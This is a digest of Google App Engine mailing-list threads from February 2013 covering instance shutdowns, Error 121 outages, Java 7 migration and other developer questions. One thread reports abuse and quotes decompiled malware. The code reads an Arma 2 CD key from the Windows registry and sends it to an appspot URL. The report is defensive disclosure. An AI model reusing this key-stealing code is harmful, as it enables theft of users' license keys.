[google-appengine] Re: Instance issues

2013-02-27 Thread Kinesh Patel
We have the same issue - instances are getting killed and causing 
user-facing 500's. On python 2.7 paid app.

On Tuesday, February 26, 2013 2:30:39 PM UTC-5, Tomas wrote:

 From yesterday I observe that app engine spins new instance which serves 
 requests for couple of seconds and then kill it immediately again. Can't 
 see anything in logs, the spin up time also raised from usual 5-6sec to 18+ 
 secs. That basically means that user faces 20secs timeout on each click. 
 And as usually, GAE status all green. What's happening?


-- 
You received this message because you are subscribed to the Google Groups 
Google App Engine group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to google-appengine+unsubscr...@googlegroups.com.
To post to this group, send email to google-appengine@googlegroups.com.
Visit this group at http://groups.google.com/group/google-appengine?hl=en.
For more options, visit https://groups.google.com/groups/opt_out.




[google-appengine] Instances still getting killed and causing user 500's

2013-02-27 Thread Kinesh Patel
On Python 2.7 paid app. Setting an idle instance seems to mitigate this, 
but every time a new dynamic instance is spawned or hit i get this problem. 
Definitely not normal behavior.

-- 
You received this message because you are subscribed to the Google Groups 
Google App Engine group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to google-appengine+unsubscr...@googlegroups.com.
To post to this group, send email to google-appengine@googlegroups.com.
Visit this group at http://groups.google.com/group/google-appengine?hl=en.
For more options, visit https://groups.google.com/groups/opt_out.




[google-appengine] Functions, Overhead and GAE Python

2013-02-27 Thread stevep
I am hesitant to post this because design patterns are akin to religion for 
most who read this group so it is often best to keep opinions to one's 
self. However, since this goes way back to a very old Guido blog post, and 
because it might be helpful I will take the risk.

Undoubtedly many saw this article about high-levels of function calls 
affecting Chrome's performance:
http://aptiverse.com/blog/closer_look_at_chrome/

A long time ago, Guido posted on his blog a brief study he did showing that 
high-levels of function calls can really affect Python performance due to 
overhead costs. I wish I had bookmarked it, but failed to do so. However, 
it is very easy to setup and test yourself using examples similar to what 
Guido did. A pernicious design pattern he showed being affected by this is 
a function call or lambda embedded inside an iterative loop.

As I noted, I am hesitant to say this, but given the relatively modest 
hardware specs that many F1 instance GAE developers deal with, one should 
very likely test for performance when one's code is performing very high 
levels for function calls.

Certainly if you have code averaging 2.1 effective lines of Python per 
function (as noted in the article), and you are running on a F1 with decent 
QPS, then give it some thought.

-- 
You received this message because you are subscribed to the Google Groups 
Google App Engine group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to google-appengine+unsubscr...@googlegroups.com.
To post to this group, send email to google-appengine@googlegroups.com.
Visit this group at http://groups.google.com/group/google-appengine?hl=en.
For more options, visit https://groups.google.com/groups/opt_out.




[google-appengine] Test and Upgrade your App Engine Java Application to a Java 7 runtime...now.

2013-02-27 Thread Ludovic Champenois
Hi,

As part of Google App Engine 1.7.5 release on February 13, 2013, we 
introduced Preview support of App Engine Java 7 runtime.  In early April, 
Google will commence upgrading our internal applications from Java 6 to 
Java 7.  In conjunction with this effort, we highly recommend that all of 
our App Engine customers begin testing and eventually migrate their 
applications to Java 7 runtime within the next couple of months. 

Please find below some additional technical information to assist with 
testing and migrating your application to Java 7 environment:

*Java 6 and Java 7 Compatibility*
 
In general, Java 7 runtime is backwards compatible with Java 6, and will 
run all pre-existing Java applications that did not rely on 
implementation-specific functionality.  Please refer to the Oracle white 
paper on Java 7 and Java 
6http://www.oracle.com/technetwork/java/javase/compatibility-417013.htmlcompatibility
 for additional details.

*Procedure for Testing*
 
For all your Java App Engine applications, here are the steps for testing 
in the new Java 7 environment.

1.  App Engine can support multiple live versions of a given application. 
 It is best to create a new version of your app and deploy it to a Java 7 
runtime.

2.  You can deploy to a new Java 7 runtime with one of the following steps:

a)  Recompile your Java Application with a full JDK 7 compiler. You can 
test it with the GAE 1.7.5 SDK, and when ready, use the regular appcfg SDK 
tool that will detect that the Java byte code is Java 7 compliant and will 
use a Java7 runtime for this application version.

b)  If you are still compiling your Java application with a JDK 6 compiler, 
you can deploy to the Java 7 runtime by adding the *--use_java7* flag to 
the appcfg SDK tool.

Please review the Google Java 7 
Considerationshttps://developers.google.com/appengine/docs/java/java7paper 
for additional information on configuring Java 7. 

3.  Assuming you have your default application version still running with a 
Java 6 runtime and a new version running in Java 7, you can use the Google 
App Engine Traffic Splitting feature to slowly ramp up traffic on the new 
Java 7 runtime.  Consider starting with 5%, then increase gradually to 10%, 
20%, and so on as your app is behaving as expected.  See our Traffic 
Splitting 
documenthttps://developers.google.com/appengine/docs/adminconsole/trafficsplittingfor
 more information about this tool.

Thanks for spending the time to make sure your application is Java 7 ready 
now. Only a very few incompatible behaviors may have to be fixed in your 
applications. 

 

-- 
You received this message because you are subscribed to the Google Groups 
Google App Engine group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to google-appengine+unsubscr...@googlegroups.com.
To post to this group, send email to google-appengine@googlegroups.com.
Visit this group at http://groups.google.com/group/google-appengine?hl=en.
For more options, visit https://groups.google.com/groups/opt_out.




Re: [google-appengine] A server error has occurred. when deleting a version

2013-02-27 Thread Thiago Catoto
Hi,

I used to have the same number 8/9 (never 10 because we couldn't override a
version with 10), now i got 5 tops, in my case the problem stoped but most
likely to be just a blind guess... anyway, can you give it a try?

Cheers,

-- Catoto


On Wed, Feb 27, 2013 at 1:14 AM, Maxime Rafalimanana rafa...@gmail.comwrote:

 I have 8 or 9 versions deployed. And I am removing an old version before
 pushing a new one to avoid the 'max number of version' error.


 On Tue, Feb 26, 2013 at 10:08 PM, Thiago Catoto tcat...@gmail.com wrote:

 From the last few days, we are getting same error on delete version and
 set default version.

 But a refresh shows that the version is deleted or the default version
 was setter correctly, guess something with the callback on the console
 interface.

 How many deployed version do you have?


 On Tue, Feb 26, 2013 at 10:08 PM, emerix rafa...@gmail.com wrote:

 I get A server error has occurred in the Admin console whenever I
 delete a version or when I set a version to be default.
 Fortunately, the action is performed but there must be something wrong
 somewhere if this message appears every time...

 Does anyone have the same issue?

 --
 You received this message because you are subscribed to the Google
 Groups Google App Engine group.
 To unsubscribe from this group and stop receiving emails from it, send
 an email to google-appengine+unsubscr...@googlegroups.com.
 To post to this group, send email to google-appengine@googlegroups.com.
 Visit this group at
 http://groups.google.com/group/google-appengine?hl=en.
 For more options, visit https://groups.google.com/groups/opt_out.




  --
 You received this message because you are subscribed to a topic in the
 Google Groups Google App Engine group.
 To unsubscribe from this topic, visit
 https://groups.google.com/d/topic/google-appengine/-G8m6GbUo4w/unsubscribe?hl=en
 .
 To unsubscribe from this group and all its topics, send an email to
 google-appengine+unsubscr...@googlegroups.com.

 To post to this group, send email to google-appengine@googlegroups.com.
 Visit this group at http://groups.google.com/group/google-appengine?hl=en
 .
 For more options, visit https://groups.google.com/groups/opt_out.




  --
 You received this message because you are subscribed to the Google Groups
 Google App Engine group.
 To unsubscribe from this group and stop receiving emails from it, send an
 email to google-appengine+unsubscr...@googlegroups.com.
 To post to this group, send email to google-appengine@googlegroups.com.
 Visit this group at http://groups.google.com/group/google-appengine?hl=en.
 For more options, visit https://groups.google.com/groups/opt_out.




-- 
You received this message because you are subscribed to the Google Groups 
Google App Engine group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to google-appengine+unsubscr...@googlegroups.com.
To post to this group, send email to google-appengine@googlegroups.com.
Visit this group at http://groups.google.com/group/google-appengine?hl=en.
For more options, visit https://groups.google.com/groups/opt_out.




Re: [google-appengine] Page changes not updating after re-deploy.

2013-02-27 Thread Takashi Matsuo
Cache header?
If it's a static files, can you check the expiration settings?

On Fri, Feb 22, 2013 at 10:43 PM, Shane Kweens cosmichere...@gmail.com wrote:

 I am using Python 2.7 and GAE and noticed page changes are not updating
 after re-deploy. Any hints?

 --
 You received this message because you are subscribed to the Google Groups
 Google App Engine group.
 To unsubscribe from this group and stop receiving emails from it, send an
 email to google-appengine+unsubscr...@googlegroups.com.
 To post to this group, send email to google-appengine@googlegroups.com.
 Visit this group at http://groups.google.com/group/google-appengine?hl=en.
 For more options, visit https://groups.google.com/groups/opt_out.





--
Takashi Matsuo | Developers Advocate | tmat...@google.com

-- 
You received this message because you are subscribed to the Google Groups 
Google App Engine group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to google-appengine+unsubscr...@googlegroups.com.
To post to this group, send email to google-appengine@googlegroups.com.
Visit this group at http://groups.google.com/group/google-appengine?hl=en.
For more options, visit https://groups.google.com/groups/opt_out.




Re: [google-appengine] User use app engine to store stolen keys from videogame.

2013-02-27 Thread Takashi Matsuo
Hi Igor,

Thanks for the report. I forwarded your report to the appropriate dept.

-- Takashi

On Mon, Feb 25, 2013 at 12:48 PM, Igor Macallister igorma...@gmail.com wrote:
 Recently a video on YouTube (http://www.youtube.com/watch?v=i3WTLBHGxJg)
 shows a hack for Arma 2 - DayZ, the download contain a dangerous file,
 what it makes is to take the installation key of Arma 2 from the victim,
 send to Internet, and then replaces the victim's key with a banned one, and
 add Everyone cant edit/read the section of the Arma 2 key in the registry
 to prevent victim to change the key.

 This is the link of the file:
 http://www.mediafire.com/?46wy99z7fwpmlrk

 After decompiling his hack (keystealer):

Private Shared Sub SendKey()
 Dim key As RegistryKey
 Try
 key = Registry.LocalMachine.OpenSubKey(Software\Bohemia
 Interactive Studio\ArmA 2 OA, True)
 Catch exception1 As Exception
 key = Nothing
 End Try
 If (Not key Is Nothing) Then
 Dim buffer As Byte() = DirectCast(key.GetValue(KEY),
 Byte())
 Program.keys = (CD Key:   BitConverter.ToString(buffer) 
 ChrW(10))
 Try

 WebRequest.Create((http://cybermitodb.appspot.com/key?s=; 
 Program.keys)).GetResponse
 Catch exception2 As Exception
 End Try
 End If
 End Sub

 So, I am sure that if you analyze http://cybermitodb.appspot.com and the
 email of this user you will find a lot of evidence of his key stealer (like
 a bunch of stolen keys, and contact info for selling them).

 --
 You received this message because you are subscribed to the Google Groups
 Google App Engine group.
 To unsubscribe from this group and stop receiving emails from it, send an
 email to google-appengine+unsubscr...@googlegroups.com.
 To post to this group, send email to google-appengine@googlegroups.com.
 Visit this group at http://groups.google.com/group/google-appengine?hl=en.
 For more options, visit https://groups.google.com/groups/opt_out.





--
Takashi Matsuo | Developers Advocate | tmat...@google.com

-- 
You received this message because you are subscribed to the Google Groups 
Google App Engine group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to google-appengine+unsubscr...@googlegroups.com.
To post to this group, send email to google-appengine@googlegroups.com.
Visit this group at http://groups.google.com/group/google-appengine?hl=en.
For more options, visit https://groups.google.com/groups/opt_out.




Re: [google-appengine] threadsafe not working

2013-02-27 Thread Kristopher Giesing
I always get irritated when people point to that SO article.  There are 
unanswered questions still and my own experimentation didn't bear out the 
algorithm listed there.  It might be relevant that the answer was posted 
relative to the Python implementation, while I have a Java app, but still.

That SO article isn't satisfying as an authoritative answer.

- Kris

On Tuesday, February 26, 2013 9:58:33 PM UTC-8, Stefano Ciccarelli wrote:

 Read this 
 http://stackoverflow.com/questions/11525717/when-does-the-app-engine-scheduler-use-a-new-thread-vs-a-new-instance

 Bye

 Il giorno venerdì 22 febbraio 2013, Jerome O'Flaherty ha scritto:

 Guys,
I have marked my application as threadsafe but it does not seem to 
 every call the application multiple times, rather the App Engine always 
 create a new instance. I have tested this by basically sleeping for 20 
 seconds on one request (the application implemented a Jersey REST service) 
 and with nothing else being executed all new requests cause the App engine 
 to launch a new instance, in fact multiple new instances?

   Is there something else I need to do to allow a single instance handle 
 multiple requests? Its seems to be a complete waste and more/less causes 
 the app engine to be much more expensive than it needs to be.

 All help appreciated.

 Thanks 

 Jerome

 -- 
 You received this message because you are subscribed to the Google Groups 
 Google App Engine group.
 To unsubscribe from this group and stop receiving emails from it, send an 
 email to google-appengine+unsubscr...@googlegroups.com.
 To post to this group, send email to google-appengine@googlegroups.com.
 Visit this group at http://groups.google.com/group/google-appengine?hl=en
 .
 For more options, visit https://groups.google.com/groups/opt_out.
  
  



 -- 
 Sent from Gmail Mobile


-- 
You received this message because you are subscribed to the Google Groups 
Google App Engine group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to google-appengine+unsubscr...@googlegroups.com.
To post to this group, send email to google-appengine@googlegroups.com.
Visit this group at http://groups.google.com/group/google-appengine?hl=en.
For more options, visit https://groups.google.com/groups/opt_out.




[google-appengine] Re: AppEngine not serving - Error Code 121

2013-02-27 Thread Cesium
My app is down!

90% of calls return Error Code 121.

Is App Engine down?

David

-- 
You received this message because you are subscribed to the Google Groups 
Google App Engine group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to google-appengine+unsubscr...@googlegroups.com.
To post to this group, send email to google-appengine@googlegroups.com.
Visit this group at http://groups.google.com/group/google-appengine?hl=en.
For more options, visit https://groups.google.com/groups/opt_out.




[google-appengine] Re: AppEngine not serving - Error Code 121

2013-02-27 Thread Cesium

Working fine now.

I found the problem.

I fed the unicorns Starburst instead of Skittles.

What an abbey-lubber!

David


On Wednesday, February 27, 2013 1:27:57 PM UTC-7, Cesium wrote:
 My app is down!
 
 
 90% of calls return Error Code 121.
 
 
 Is App Engine down?
 
 
 David

-- 
You received this message because you are subscribed to the Google Groups 
Google App Engine group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to google-appengine+unsubscr...@googlegroups.com.
To post to this group, send email to google-appengine@googlegroups.com.
Visit this group at http://groups.google.com/group/google-appengine?hl=en.
For more options, visit https://groups.google.com/groups/opt_out.




[google-appengine] Re: AppEngine not serving - Error Code 121

2013-02-27 Thread johnP
Good advice.  Tossing the Skittles in the trash, and running off to buy 
some Starburst.



On Wednesday, February 27, 2013 12:52:45 PM UTC-8, Cesium wrote:


 Working fine now.

 I found the problem.

 I fed the unicorns Starburst instead of Skittles.

 What an abbey-lubber!

 David


 On Wednesday, February 27, 2013 1:27:57 PM UTC-7, Cesium wrote:
  My app is down!
  
  
  90% of calls return Error Code 121.
  
  
  Is App Engine down?
  
  
  David



-- 
You received this message because you are subscribed to the Google Groups 
Google App Engine group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to google-appengine+unsubscr...@googlegroups.com.
To post to this group, send email to google-appengine@googlegroups.com.
Visit this group at http://groups.google.com/group/google-appengine?hl=en.
For more options, visit https://groups.google.com/groups/opt_out.




Re: [google-appengine] A server error has occurred. when deleting a version

2013-02-27 Thread Maxime Rafalimanana
I have just deleted 5 versions. But even at 3 versions left, it still
displays that error :(


On Wed, Feb 27, 2013 at 2:03 PM, Thiago Catoto tcat...@gmail.com wrote:

 Hi,

 I used to have the same number 8/9 (never 10 because we couldn't override
 a version with 10), now i got 5 tops, in my case the problem stoped but
 most likely to be just a blind guess... anyway, can you give it a try?

 Cheers,

 -- Catoto


 On Wed, Feb 27, 2013 at 1:14 AM, Maxime Rafalimanana rafa...@gmail.comwrote:

 I have 8 or 9 versions deployed. And I am removing an old version before
 pushing a new one to avoid the 'max number of version' error.


 On Tue, Feb 26, 2013 at 10:08 PM, Thiago Catoto tcat...@gmail.comwrote:

 From the last few days, we are getting same error on delete version and
 set default version.

 But a refresh shows that the version is deleted or the default version
 was setter correctly, guess something with the callback on the console
 interface.

 How many deployed version do you have?


 On Tue, Feb 26, 2013 at 10:08 PM, emerix rafa...@gmail.com wrote:

 I get A server error has occurred in the Admin console whenever I
 delete a version or when I set a version to be default.
 Fortunately, the action is performed but there must be something wrong
 somewhere if this message appears every time...

 Does anyone have the same issue?

 --
 You received this message because you are subscribed to the Google
 Groups Google App Engine group.
 To unsubscribe from this group and stop receiving emails from it, send
 an email to google-appengine+unsubscr...@googlegroups.com.
 To post to this group, send email to google-appengine@googlegroups.com.
 Visit this group at
 http://groups.google.com/group/google-appengine?hl=en.
 For more options, visit https://groups.google.com/groups/opt_out.




  --
 You received this message because you are subscribed to a topic in the
 Google Groups Google App Engine group.
 To unsubscribe from this topic, visit
 https://groups.google.com/d/topic/google-appengine/-G8m6GbUo4w/unsubscribe?hl=en
 .
 To unsubscribe from this group and all its topics, send an email to
 google-appengine+unsubscr...@googlegroups.com.

 To post to this group, send email to google-appengine@googlegroups.com.
 Visit this group at
 http://groups.google.com/group/google-appengine?hl=en.
 For more options, visit https://groups.google.com/groups/opt_out.




  --
 You received this message because you are subscribed to the Google Groups
 Google App Engine group.
 To unsubscribe from this group and stop receiving emails from it, send an
 email to google-appengine+unsubscr...@googlegroups.com.
 To post to this group, send email to google-appengine@googlegroups.com.
 Visit this group at http://groups.google.com/group/google-appengine?hl=en
 .
 For more options, visit https://groups.google.com/groups/opt_out.




  --
 You received this message because you are subscribed to a topic in the
 Google Groups Google App Engine group.
 To unsubscribe from this topic, visit
 https://groups.google.com/d/topic/google-appengine/-G8m6GbUo4w/unsubscribe?hl=en
 .
 To unsubscribe from this group and all its topics, send an email to
 google-appengine+unsubscr...@googlegroups.com.
 To post to this group, send email to google-appengine@googlegroups.com.
 Visit this group at http://groups.google.com/group/google-appengine?hl=en.
 For more options, visit https://groups.google.com/groups/opt_out.




-- 
You received this message because you are subscribed to the Google Groups 
Google App Engine group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to google-appengine+unsubscr...@googlegroups.com.
To post to this group, send email to google-appengine@googlegroups.com.
Visit this group at http://groups.google.com/group/google-appengine?hl=en.
For more options, visit https://groups.google.com/groups/opt_out.




[google-appengine] Re: AppEngine not serving - Error Code 121

2013-02-27 Thread Cesium
No!
Bad communication on my part.

The problem was caused by feeding them Starburst instead of Skittles!

And not just any flavor. It's gotta be the Sour Skittles.

(Makes them fart rainbows, you know.)

David



On Wednesday, February 27, 2013 2:57:39 PM UTC-7, johnP wrote:
 Good advice.  Tossing the Skittles in the trash, and running off to buy some 
 Starburst.
 
 
 
 On Wednesday, February 27, 2013 12:52:45 PM UTC-8, Cesium wrote:
 Working fine now.
 I found the problem.
 I fed the unicorns Starburst instead of Skittles.
 What an abbey-lubber!
 David
 
 On Wednesday, February 27, 2013 1:27:57 PM UTC-7, Cesium wrote:
  My app is down!
  
  
  90% of calls return Error Code 121.
  
  
  Is App Engine down?
  
  
  David

-- 
You received this message because you are subscribed to the Google Groups 
Google App Engine group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to google-appengine+unsubscr...@googlegroups.com.
To post to this group, send email to google-appengine@googlegroups.com.
Visit this group at http://groups.google.com/group/google-appengine?hl=en.
For more options, visit https://groups.google.com/groups/opt_out.




[google-appengine] Re: AppEngine not serving - Error Code 121

2013-02-27 Thread johnP

am I dyslexic.




On Wednesday, February 27, 2013 2:27:09 PM UTC-8, Cesium wrote:

 No! 
 Bad communication on my part. 

 The problem was caused by feeding them Starburst instead of Skittles! 

 And not just any flavor. It's gotta be the Sour Skittles. 

 (Makes them fart rainbows, you know.) 

 David 



 On Wednesday, February 27, 2013 2:57:39 PM UTC-7, johnP wrote: 
  Good advice.  Tossing the Skittles in the trash, and running off to buy 
 some Starburst. 
  
  
  
  On Wednesday, February 27, 2013 12:52:45 PM UTC-8, Cesium wrote: 
  Working fine now. 
  I found the problem. 
  I fed the unicorns Starburst instead of Skittles. 
  What an abbey-lubber! 
  David 
  
  On Wednesday, February 27, 2013 1:27:57 PM UTC-7, Cesium wrote: 
   My app is down! 
   
   
   90% of calls return Error Code 121. 
   
   
   Is App Engine down? 
   
   
   David 



-- 
You received this message because you are subscribed to the Google Groups 
Google App Engine group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to google-appengine+unsubscr...@googlegroups.com.
To post to this group, send email to google-appengine@googlegroups.com.
Visit this group at http://groups.google.com/group/google-appengine?hl=en.
For more options, visit https://groups.google.com/groups/opt_out.




[google-appengine] Re: AppEngine not serving - Error Code 121

2013-02-27 Thread johnP
We are ushering a silver age of folk-remedies for data-center glitches. 
 You are now officially the Dr. Weil (or Deepak Chopra?) of Google 
Appengine. Self-help customer service is awesome.  




On Wednesday, February 27, 2013 2:27:09 PM UTC-8, Cesium wrote:

 No! 
 Bad communication on my part. 

 The problem was caused by feeding them Starburst instead of Skittles! 

 And not just any flavor. It's gotta be the Sour Skittles. 

 (Makes them fart rainbows, you know.) 

 David 



 On Wednesday, February 27, 2013 2:57:39 PM UTC-7, johnP wrote: 
  Good advice.  Tossing the Skittles in the trash, and running off to buy 
 some Starburst. 
  
  
  
  On Wednesday, February 27, 2013 12:52:45 PM UTC-8, Cesium wrote: 
  Working fine now. 
  I found the problem. 
  I fed the unicorns Starburst instead of Skittles. 
  What an abbey-lubber! 
  David 
  
  On Wednesday, February 27, 2013 1:27:57 PM UTC-7, Cesium wrote: 
   My app is down! 
   
   
   90% of calls return Error Code 121. 
   
   
   Is App Engine down? 
   
   
   David 



-- 
You received this message because you are subscribed to the Google Groups 
Google App Engine group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to google-appengine+unsubscr...@googlegroups.com.
To post to this group, send email to google-appengine@googlegroups.com.
Visit this group at http://groups.google.com/group/google-appengine?hl=en.
For more options, visit https://groups.google.com/groups/opt_out.




[google-appengine] Re: AppEngine not serving - Error Code 121

2013-02-27 Thread Jesús Espejo
Same error for my app... Production issue? :/

El domingo, 24 de febrero de 2013 21:04:53 UTC+1, bFlood escribió:

 one of my apps has gone haywire, it's been working well for over 2 years.

 HRD
 Nothing changed in code/settings etc
 About 50-60% of the requests now show Error Code 121
 This seemed to start about 7 hours ago
 app-id: get-arc2earth-hrd



 https://lh5.googleusercontent.com/-aZZ2UeqbbUI/USpyGEYizvI/AAM/rXBeIe9_MOw/s1600/dashboard.png


 https://lh4.googleusercontent.com/-SkZ51_vrIbU/USpyItELHXI/AAU/AE50ZRPwlq0/s1600/instances.png


 https://lh3.googleusercontent.com/-SuMhshw85G8/USpyKqpWDBI/AAc/dwxwjG21Mfg/s1600/logs.png
 please help asap...




-- 
You received this message because you are subscribed to the Google Groups 
Google App Engine group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to google-appengine+unsubscr...@googlegroups.com.
To post to this group, send email to google-appengine@googlegroups.com.
Visit this group at http://groups.google.com/group/google-appengine?hl=en.
For more options, visit https://groups.google.com/groups/opt_out.




[google-appengine] Re: Instances still getting killed and causing user 500's

2013-02-27 Thread Cesium

Starting about 16:30 Pacific time, my Java HRD Instances were shutting down 
after just a few seconds.

Just as my rage reached class IV, serving returned to normal.

I know this is an overreaction, but I may have to sacrifice a unicorn.

Please, please, App Engine team, spare Mr. Sparkles.


This is disheartening,
David

On Wednesday, February 27, 2013 11:32:07 AM UTC-7, Chris Tan wrote:
 I'm also getting this problem.
 
 On Wednesday, February 27, 2013 7:50:47 AM UTC-8, Kinesh Patel wrote:On 
 Python 2.7 paid app. Setting an idle instance seems to mitigate this, but 
 every time a new dynamic instance is spawned or hit i get this problem. 
 Definitely not normal behavior.

-- 
You received this message because you are subscribed to the Google Groups 
Google App Engine group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to google-appengine+unsubscr...@googlegroups.com.
To post to this group, send email to google-appengine@googlegroups.com.
Visit this group at http://groups.google.com/group/google-appengine?hl=en.
For more options, visit https://groups.google.com/groups/opt_out.




[google-appengine] Re: How many entities can be placed into datastore?

2013-02-27 Thread Alexander Trakhimenok
You can have as many entities as you want and speed does not depend on 
number of entities.

Speed of .get() or .put() would be the same if you have 3 entities or 
3.000.000.000 entities.

Though the can be performance issues if you have high throughput - in this 
case minimize number of indexed fields and it's better if indexed values 
are not serially increased.

Alex
Lead Developer at http://www.myclasses.org/ - powered by GAE

On Thursday, 21 February 2013 13:56:30 UTC-4, Deneb wrote:

 Good day, i have an strange questation - how much of entities i can create 
 for one namespace? We develop an app and for best performance we need about 
 250 millions of entities in one namespace. Is this real and how it will 
 affects on App Engine speed? We suppose to use this entities only as 
 get-by-key queries.




-- 
You received this message because you are subscribed to the Google Groups 
Google App Engine group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to google-appengine+unsubscr...@googlegroups.com.
To post to this group, send email to google-appengine@googlegroups.com.
Visit this group at http://groups.google.com/group/google-appengine?hl=en.
For more options, visit https://groups.google.com/groups/opt_out.




[google-appengine] Re: Instances still getting killed and causing user 500's

2013-02-27 Thread Cesium
Oh Joy,

Now the console charts have been erased.

I'm losing it.

Unicorn liver pate for dinner.

David



On Wednesday, February 27, 2013 6:10:37 PM UTC-7, Cesium wrote:
 Starting about 16:30 Pacific time, my Java HRD Instances were shutting down 
 after just a few seconds.
 
 Just as my rage reached class IV, serving returned to normal.
 
 I know this is an overreaction, but I may have to sacrifice a unicorn.
 
 Please, please, App Engine team, spare Mr. Sparkles.
 
 
 This is disheartening,
 David
 
 On Wednesday, February 27, 2013 11:32:07 AM UTC-7, Chris Tan wrote:
  I'm also getting this problem.
  
  On Wednesday, February 27, 2013 7:50:47 AM UTC-8, Kinesh Patel wrote:On 
  Python 2.7 paid app. Setting an idle instance seems to mitigate this, but 
  every time a new dynamic instance is spawned or hit i get this problem. 
  Definitely not normal behavior.

-- 
You received this message because you are subscribed to the Google Groups 
Google App Engine group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to google-appengine+unsubscr...@googlegroups.com.
To post to this group, send email to google-appengine@googlegroups.com.
Visit this group at http://groups.google.com/group/google-appengine?hl=en.
For more options, visit https://groups.google.com/groups/opt_out.




[google-appengine] Re: Instances still getting killed and causing user 500's

2013-02-27 Thread Cesium
A couple hours later, all is well.
Instances are lasting.
Latency is low.

Thank you Mr. Sparkles. (burp).


On Wednesday, February 27, 2013 6:45:50 PM UTC-7, Cesium wrote:
 Oh Joy,
 
 Now the console charts have been erased.
 
 I'm losing it.
 
 Unicorn liver pate for dinner.
 
 David
 
 
 
 On Wednesday, February 27, 2013 6:10:37 PM UTC-7, Cesium wrote:
  Starting about 16:30 Pacific time, my Java HRD Instances were shutting down 
  after just a few seconds.
  
  Just as my rage reached class IV, serving returned to normal.
  
  I know this is an overreaction, but I may have to sacrifice a unicorn.
  
  Please, please, App Engine team, spare Mr. Sparkles.
  
  
  This is disheartening,
  David
  
  On Wednesday, February 27, 2013 11:32:07 AM UTC-7, Chris Tan wrote:
   I'm also getting this problem.
   
   On Wednesday, February 27, 2013 7:50:47 AM UTC-8, Kinesh Patel wrote:On 
   Python 2.7 paid app. Setting an idle instance seems to mitigate this, but 
   every time a new dynamic instance is spawned or hit i get this problem. 
   Definitely not normal behavior.

-- 
You received this message because you are subscribed to the Google Groups 
Google App Engine group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to google-appengine+unsubscr...@googlegroups.com.
To post to this group, send email to google-appengine@googlegroups.com.
Visit this group at http://groups.google.com/group/google-appengine?hl=en.
For more options, visit https://groups.google.com/groups/opt_out.




Re: [google-appengine] Re: Instances still getting killed and causing user 500's

2013-02-27 Thread Prashant Hegde
Many apps are hitting the same issue, starring the following may increase
chances of getting resolution. The app engine performance is unpredictable.
Right now, as far as we are concerned, the most effective solution is to
offer prayers very sincerely every morning.

http://code.google.com/p/googleappengine/issues/detail?id=8781

This issue has been around for a few weeks with no resolution or any
semblance of activity.

Prashant





On Thu, Feb 28, 2013 at 7:15 AM, Cesium cesiumpic...@gmail.com wrote:

 Oh Joy,

 Now the console charts have been erased.

 I'm losing it.

 Unicorn liver pate for dinner.

 David



 On Wednesday, February 27, 2013 6:10:37 PM UTC-7, Cesium wrote:
  Starting about 16:30 Pacific time, my Java HRD Instances were shutting
 down after just a few seconds.
 
  Just as my rage reached class IV, serving returned to normal.
 
  I know this is an overreaction, but I may have to sacrifice a unicorn.
 
  Please, please, App Engine team, spare Mr. Sparkles.
 
 
  This is disheartening,
  David
 
  On Wednesday, February 27, 2013 11:32:07 AM UTC-7, Chris Tan wrote:
   I'm also getting this problem.
  
   On Wednesday, February 27, 2013 7:50:47 AM UTC-8, Kinesh Patel
 wrote:On Python 2.7 paid app. Setting an idle instance seems to mitigate
 this, but every time a new dynamic instance is spawned or hit i get this
 problem. Definitely not normal behavior.

 --
 You received this message because you are subscribed to the Google Groups
 Google App Engine group.
 To unsubscribe from this group and stop receiving emails from it, send an
 email to google-appengine+unsubscr...@googlegroups.com.
 To post to this group, send email to google-appengine@googlegroups.com.
 Visit this group at http://groups.google.com/group/google-appengine?hl=en.
 For more options, visit https://groups.google.com/groups/opt_out.




-- 
You received this message because you are subscribed to the Google Groups 
Google App Engine group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to google-appengine+unsubscr...@googlegroups.com.
To post to this group, send email to google-appengine@googlegroups.com.
Visit this group at http://groups.google.com/group/google-appengine?hl=en.
For more options, visit https://groups.google.com/groups/opt_out.




[google-appengine] help me

2013-02-27 Thread pying soe
how to create google cloud stote .

-- 
You received this message because you are subscribed to the Google Groups 
Google App Engine group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to google-appengine+unsubscr...@googlegroups.com.
To post to this group, send email to google-appengine@googlegroups.com.
Visit this group at http://groups.google.com/group/google-appengine?hl=en.
For more options, visit https://groups.google.com/groups/opt_out.




[google-appengine] MongoDB Datastore Stub for Google App Engine SDK (Python)

2013-02-27 Thread Stanislav Heller
Hello everyone,
as a result of my master thesis, I am developing new App Engine Datastore 
Stub for Python, which is based on MongoDB backed. The target of this stub 
is to eliminate the cons of SQLite stub (which is very slow in case of 
inserting large dataset etc.) and still to provide quick queries and 
transactionality. My work is partially based on Mike Dirolf's Mongo 
Appengine Connector, but now the stub supports projection queries, 
structured properties and SDK development admin console etc. Stub can be 
fully integrated into dev_appserver (after patch there's new option 
--use_mongodb).

The stub was tested on SDK 1.7.4, I will test it on 1.7.5 soon.

The stub is still in phase of development, so please do not be mad at me if 
something does not work well for you. If somebody is interested of the 
performance comparison with FileStub and SQLite Stub, let me know.

The result is on github:
https://github.com/hellerstanislav/appengine-datastore-mongodb-stub

Cheers,
Stanislav Heller

-- 
You received this message because you are subscribed to the Google Groups 
Google App Engine group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to google-appengine+unsubscr...@googlegroups.com.
To post to this group, send email to google-appengine@googlegroups.com.
Visit this group at http://groups.google.com/group/google-appengine?hl=en.
For more options, visit https://groups.google.com/groups/opt_out.




